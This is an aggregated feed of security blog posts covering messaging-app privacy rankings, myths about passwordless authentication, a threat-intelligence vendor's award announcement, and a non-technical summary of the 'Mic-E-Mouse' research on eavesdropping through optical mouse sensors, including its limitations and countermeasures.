        Minimizing the amount of information strangers can see is crucial for both privacy and physical safety. It limits the possibilities for scams, spam, stalking, and child abuse. The most secure accounts are provided equally by Telegram and WhatsApp — tying for first place. Facebook Messenger and Snapchat share second, while Discord ranks last in this regard.

        Cooperating with authorities

        Telegram doesn’t disclose the percentage of government requests for personal data that it grants — though it’s known to be greater than zero. As for the other platforms, Snapchat most frequently approves such requests (82%), Meta’s services approve them in 78% of cases (the breakdown by service is unknown), and Discord is not far behind at 77.4%.

        Collecting data for advertising and other purposes

        Every platform collects a certain amount of information about its users, their socio-demographic profile, and preferences. The study distinguishes between general data collection and mobile-app data collection. The former was based on privacy policies; the latter used the data published for the apps in the App Store and Google Play.

        Based on general data collection, the leaders with the least amount of collected data are Telegram and WhatsApp. Discord took second place, and Snapchat and Facebook Messenger both ranked last. Regarding mobile-app data collection, the picture is slightly different: Telegram leads by a significant margin, followed by WhatsApp in second place, then Discord, Snapchat, and finally, Facebook Messenger.

        Which messaging app is best?

        Among the services reviewed, Telegram collects the least data and provides the widest range of privacy settings. While Discord leads the overall rankings thanks to limited data collection and a clean record on privacy fines, it falls short in privacy settings, and doesn’t default to secure options. WhatsApp offers extensive protection against strangers, and collects a relatively modest amount of user data.

        Note that the ranking focuses on mainstream apps; more niche messaging apps that place a strong emphasis on privacy were simply not included. Truly confidential/sensitive conversations should ideally be conducted on one of these dedicated private messaging apps.

        Additionally, Incogni didn’t focus on encryption. Among the reviewed apps, only WhatsApp offers full end-to-end encryption for all chats by default. This is a crucial consideration, for the hugely popular Telegram doesn’t guarantee message privacy: chats aren’t end-to-end encrypted by default.

        Finally, don’t forget that the indicated level of security applies only to the official mobile clients of these messaging services. The desktop versions of popular messaging apps are far more vulnerable due to their architecture. As for using mods or third-party clients, it’s best to avoid them entirely — malicious versions are routinely distributed both through channels and group chats within the messaging services themselves, and through official app stores such as Google Play.

        To protect Android smartphones from these malicious apps, consider Kaspersky for Android. Incidentally, after a recent update, it now also blocks phishing and malicious links in all notifications from any messaging or other app.

        Messaging apps today arguably hold the maximum amount of private information about each of us. To avoid becoming a victim of a data leak, read our other posts:

        Kaspersky official blog – ​Read More

        Think passwordless is too complicated? Let’s clear that up

        Think passwordless is too complicated? Let's clear that up

        By Janet Ho, Cisco Duo

        Why passwords are still a problem

        We’ve relied on passwords for years to protect our online accounts, but they’ve also become one of the easiest ways attackers get in. Many people reuse or simplify passwords, or even write them down because it’s hard to remember so many. That makes it easier for attackers to take advantage of stolen or reused credentials, and even worse, one stolen password can sometimes unlock several accounts.  

        Did you know? According to Forbes, 244 million passwords were leaked on a single crime forum, and half of the world’s internet users have been exposed to reuse attacks

        That’s why passwordless authentication is becoming so important. It lets you prove who you are without typing a password, using things like your fingerprint, face, or a security key on your device. This makes sign-ins easier for you and harder for attackers to fake, helping protect against phishing and stolen or weak passwords. 

        Clearing up the biggest myths about passwordless 

        Even with all these benefits, a few common myths still make people hesitate about going passwordless. Let’s clear them up. 

        Think passwordless is too complicated? Let's clear that up

        It’s easy to assume that “passwordless” means skipping an important layer of protection. 

        In reality, passwordless is multi-factor. It verifies who you are using both your device and something only you can provide like your fingerprint or PIN. 

        When you log in, your device unlocks a unique digital key that never leaves it. Your fingerprint, face or PIN is only checked locally, not sent online. This makes it nearly impossible for attackers to steal or fake your login, the same strength as MFA, just without the password hassle. 

        Think passwordless is too complicated? Let's clear that up

        A PIN might look like a password, but it doesn’t work the same way. Instead of being sent over the internet or stored on a company server, your PIN only unlocks your device locally. That means there’s nothing for attackers to steal or guess remotely. 

        Even a short PIN can be strong because your device limits how many times someone can try it. An attacker would have to physically possess your device to even attempt it. If you want extra protection, you can use a biometric like a fingerprint or face scan instead. 

        Think passwordless is too complicated? Let's clear that up

        Biometrics sometimes get a bad reputation because people remember early flaws or scary headlines like phones that could be fooled by photos or fake fingerprints. Those issues came from outdated, low-cost sensors that were easier to trick. 

        Modern systems like Face ID and Windows Hello use 3D mapping, infrared light and “liveness” detection to make spoofing extremely difficult. In passwordless authentication, your fingerprint or face simply unlocks a private key stored on your device. That key never leaves your phone or computer and can’t be reused on other sites. Because biometrics are checked locally, not online, they block the remote attacks that plague passwords. 

        Think passwordless is too complicated? Let's clear that up

        Some worry that using biometrics means handing over personal data that could be stolen. That concern usually comes from news about biometric surveillance, where information is stored in large central databases.  

        Passwordless authentication works differently. Your biometric stays on your device and is only used to unlock a local security key — it’s never uploaded, shared, or compared against a massive database. 

        The difference matters. Surveillance biometrics identify you remotely by matching your data against millions of records. Authentication biometrics, like Face ID or Windows Hello, simply confirm that you are the one holding your own device. That local check is what keeps your biometric private and safe. 

        Think passwordless is too complicated? Let's clear that up

        A truly phishing-resistant passwordless system has a few built-in protections against modern phishing techniques. 

        Each login uses a unique digital key that stays on your device and never gets sent to the website. Even if someone builds a fake login page, there’s nothing to steal or reuse. That’s because passwordless systems check that you’re on the real website, not a look-alike page. Your browser does that check automatically before letting your device complete the login. 

        And only trusted software on your device can trigger your authenticator to approve a login. Hidden apps or push-phishing attempts can’t reach it. 

        Together, these protections make phishing far harder and, in most cases, stop it completely.  

        The bottom line: Easier, safer sign-ins for everyone 

        Passwordless isn’t just a new way to log in. It’s a safer, simpler way to protect what matters most. Whether at home or at work, taking small steps toward passwordless helps reduce risk and makes security easier for everyone. 

        Learn more about the myths and read the full report on Busting Passwordless Myths

        Take the next step and check out 5 Step Path to Passwordless ebook

        Cisco Talos Blog – ​Read More

        ANY.RUN Recognized as Threat Intelligence Company of the Year 2025  

        Here at ANY.RUN, we know how crucial threat intelligence is for ensuring strong cybersecurity, especially in organizations. 

        This year, our efforts in promoting this data-driven approach to solving the needs of businesses were praised at CyberSecurity Breakthrough Awards. ANY.RUN was recognized as the Threat Intelligence Company of the Year 2025. 

        New Milestone on the Way to Safer Future 

        This wasn’t an easy win: the CyberSecurity Breakthrough Awards is a prestigious international program with an independent panel of industry experts in the jury. Our sincere thanks go to them for acknowledging our impact on leading innovative enterprise-grade solutions forward. 

        But above all, we’d like to thank our global community of clients, contributors, and partners. It’s a shared win for all of us. 

        ANY.RUN’s TI Lookup providing IOCs related to Agent Tesla threats submitted in Germany

        Threat Intelligence Changes Everything 

        Earlier this year, ANY.RUN’s solutions gained global acclaim and won multiple awards, like Globee Awards and Cybersecurity Excellence Awards. But this victory stands out, as it recognizes our influence as a company and reflects our approach focused on the integrity of a unified workflow.  

        TI Feeds accumulate threat data and enrich your system with it for expanded threat coverage 

        ANY.RUN’s Threat Intelligence Feeds and Threat Intelligence Lookup are redefining how SOCs operate in today’s threat landscape. Instead of relying on outdated indicators from post-incident reports, ANY.RUN leverages insights from a global community of over 500,000 analysts and 15,000 organizations actively analyzing the latest threats in our Interactive Sandbox. 

        Gain 3x boost in performance rates 
        Acclaimed TI solutions for your SOC



        Contact us 


         Continuously updated threat intelligence helps SOC teams gain automation and data needed to stay ahead of evolving attacks. Security leaders can make faster, more confident decisions, strengthen proactive defense strategies, and maximize the ROI of their security stack. 

        • Access 24x more IOCs per incident for wider visibility: Live data on global attacks ensures comprehensive threat coverage of new malware and phishing. 
        • Enrich your system with 99% unique IOCs to reduce workload: In-depth intel cuts Tier 1/Tier 2 investigations and promotes confident decisions. 
        • Accelerate MTTR by 21 min per case for faster action: Threat behavior context for IOCs/IOAs/IOBs provides insights for streamlined incident mitigation. 

        About ANY.RUN 

        Over 500,000 cybersecurity professionals and 15,000+ organizations across finance, manufacturing, healthcare, and other industries trust ANY.RUN and accelerate their malware investigations worldwide. 

        Faster triage and response with ANY.RUN’s Interactive Sandbox: Safely detonate suspicious files, observe malicious behavior in real time, and gain insights for faster, confident security decisions. 

        Enhance threat detection with Threat Intelligence Lookup and Threat Intelligence Feeds: Tap into actionable, up-to-date intelligence to detect and understand emerging threats instantly. 

        Experience how ANY.RUN’s solutions can power your SOC: start 14-day trial 

        The post ANY.RUN Recognized as Threat Intelligence Company of the Year 2025   appeared first on ANY.RUN’s Cybersecurity Blog.

        ANY.RUN’s Cybersecurity Blog – ​Read More

        Researchers find a way to use a computer mouse for eavesdropping

        A recent publication by researchers at the University of California, Irvine, demonstrates a fascinating fact: optical sensors in computer mice have become so sensitive that, in addition to tracking surface movements, they can pick up even minute vibrations — for instance, those generated by a nearby conversation. The theoretical attack, dubbed “Mic-E-Mouse”, could potentially allow adversaries to listen in on discussions in “secure” rooms, provided the attacker can somehow intercept the data transmitted by the mouse. As is often the case with academic papers of this kind, the proposed method comes with quite a few limitations.

        Specifics of the Mic-E-Mouse attack

        Let’s be clear from the start — not just any old mouse will work for this attack. It specifically requires models with the most sensitive optical sensors. Such a sensor is essentially an extremely simplified video camera that films the surface of the desk at a resolution of 16×16 or 32×32 pixels. The mouse’s internal circuitry compares consecutive frames to determine how far and in which direction the mouse has moved. How often these snapshots are taken determines the mouse’s final resolution, expressed in dots per inch (DPI). The higher the DPI, the less the user has to move the mouse to position the cursor on the screen. There’s also a second metric: the polling rate — the frequency at which the mouse data is transmitted to the computer. A sensitive sensor in a mouse that transmits data infrequently is of no use. For the Mic-E-Mouse attack to even be feasible, the mouse needs both a high resolution (10 000DPI or more) and a high polling rate (4000Hz or more).

        Why do these particular specifications matter? Human speech, which the researchers intended to eavesdrop on, is audible in a frequency range of approximately 100 to 6000Hz. Speech causes sound waves, which create vibrations on the surfaces of nearby objects. Capturing these vibrations requires an extremely precise sensor, and the data coming from it must be transmitted to the PC in the most complete form possible — with the data update frequency being most critical. According to the Nyquist–Shannon sampling theorem, an analog signal within a specific frequency range can be digitized if the sampling rate is at least twice the highest frequency of the signal. Consequently, a mouse transmitting data at 4000Hz can theoretically capture an audio frequency range up to a maximum of 2000Hz. But what kind of recording can a mouse capture anyway? Let’s take a look.

        Results of the study on the sensitivity

        Results of the study on the sensitivity of a computer mouse’s optical sensor for capturing audio information. Source

        In graph (a), the blue color shows the frequency response typical of human speech — this is the source data. Green represents what was captured using the computer mouse. The yellow represents the noise level. The green corresponds very poorly to the original audio information and is almost completely drowned in noise. The same is shown in a spectral view in graph (d). It looks as though it’s impossible to recover anything at all from this information. However, let’s look at graphs (b) and (c). The former shows the original test signals: tones at 200 and 400Hz, as well as a variable frequency signal from 20 to 16 000Hz. The latter shows the same signals, but captured by the computer mouse’s sensor. It’s clear that some information is preserved, although frequencies above 1700Hz can’t be intercepted.

        Two different filtering methods were applied to this extremely noisy data. First, the well-known Wiener filtering method, and second, filtering using a machine-learning system trained on clean voice data. Here’s the result.

        Spectral analysis of the audio signal at different stages of filtering.

        Spectral analysis of the audio signal at different stages of filtering. Source

        Shown here from left to right are: the source signal, the raw data from the mouse sensor (with maximum noise), and the two filtering stages. The result is something very closely resembling the source material.

        So what kind of attack could be built based on such a recording? The researchers propose the following scenario: two people are holding a conversation in a secure room with a PC in it. The sound of their speech causes air vibrations, which are transmitted to the tabletop, and from the tabletop to the mouse connected to the PC. Malware installed on the PC intercepts the data from the mouse, and sends it to the attackers’ server. There, the signal is processed and filtered to fully reconstruct the speech. Sounds rather horrifying, doesn’t it? Fortunately, this scenario has many issues.

        Severe limitations

        The key advantage of this method is the unusual attack vector. Obtaining data from the mouse requires no special privileges, meaning security solutions may not even detect the eavesdropping. However, not many applications access detailed data from a mouse, which means the attack would require either writing custom software, or hacking/modifying specialized software that is capable of using such data.

        Furthermore, there are currently not many mice models with the required specifications (resolution of 10 000DPI or higher, and polling rate of 4000Hz or more). The researchers found about a dozen potential candidates and tested the attack on two models. These weren’t the most expensive devices — for instance, the Razer Viper 8KHz costs around $50 — but they are gaming mice, which are unlikely to be found connected to a typical workstation. Thus, the Mic-E-Mouse attack is future-proof rather than present-proof: the researchers assume that, over time, high-resolution sensors will become standard even in the most common office models.

        The accuracy of the method is low as well. At best, the researchers managed to recognize only 50 to 60 percent of the source material. Finally, we need to consider that for the sake of the experiment, the researchers attempted to simplify their task as much as possible. Instead of capturing a real conversation, they were playing back human speech through computer speakers. A cardboard box with an opening was placed on top of the speakers. This opening was covered with a membrane with the mouse on top of it. This means the sound source was not only artificial, but also located mere inches from the optical sensor! The authors of the paper tried covering the hole with a thin sheet of paper or cardboard, and the recognition accuracy immediately plummeted to unacceptable levels of 10–30%. Reliable transmission of vibrations through a thick tabletop isn’t even a consideration.

        Cautious optimism and security model

        Credit where it’s due: the researchers found yet another attack vector that exploits unexpected hardware properties — something no one had previously thought of. For a first attempt, the result is remarkable, and the potential for further research is undoubtedly there. After all, the U.S. researchers only used machine learning for signal filtering. The reconstructed audio data was then listened to by human observers. What if neural networks were also used for speech recognition?

        Of course, such studies have an extremely narrow practical application. For organizations whose security model must account for even such paranoid scenarios, the authors of the study propose a series of protective measures. For one, you can simply ban connecting mice with high-resolution sensors — both through organizational policies and, technically, by blocklisting specific models. You can also provide employees with mousepads that dampen vibrations. The more relevant conclusion, however, concerns protection against malware: attackers can sometimes utilize completely atypical software features to cause harm — in this case, for espionage. So it’s worth identifying and analyzing even such complex cases; otherwise, it may later be impossible to even determine how a data leak occurred.

        Kaspersky official blog – ​Read More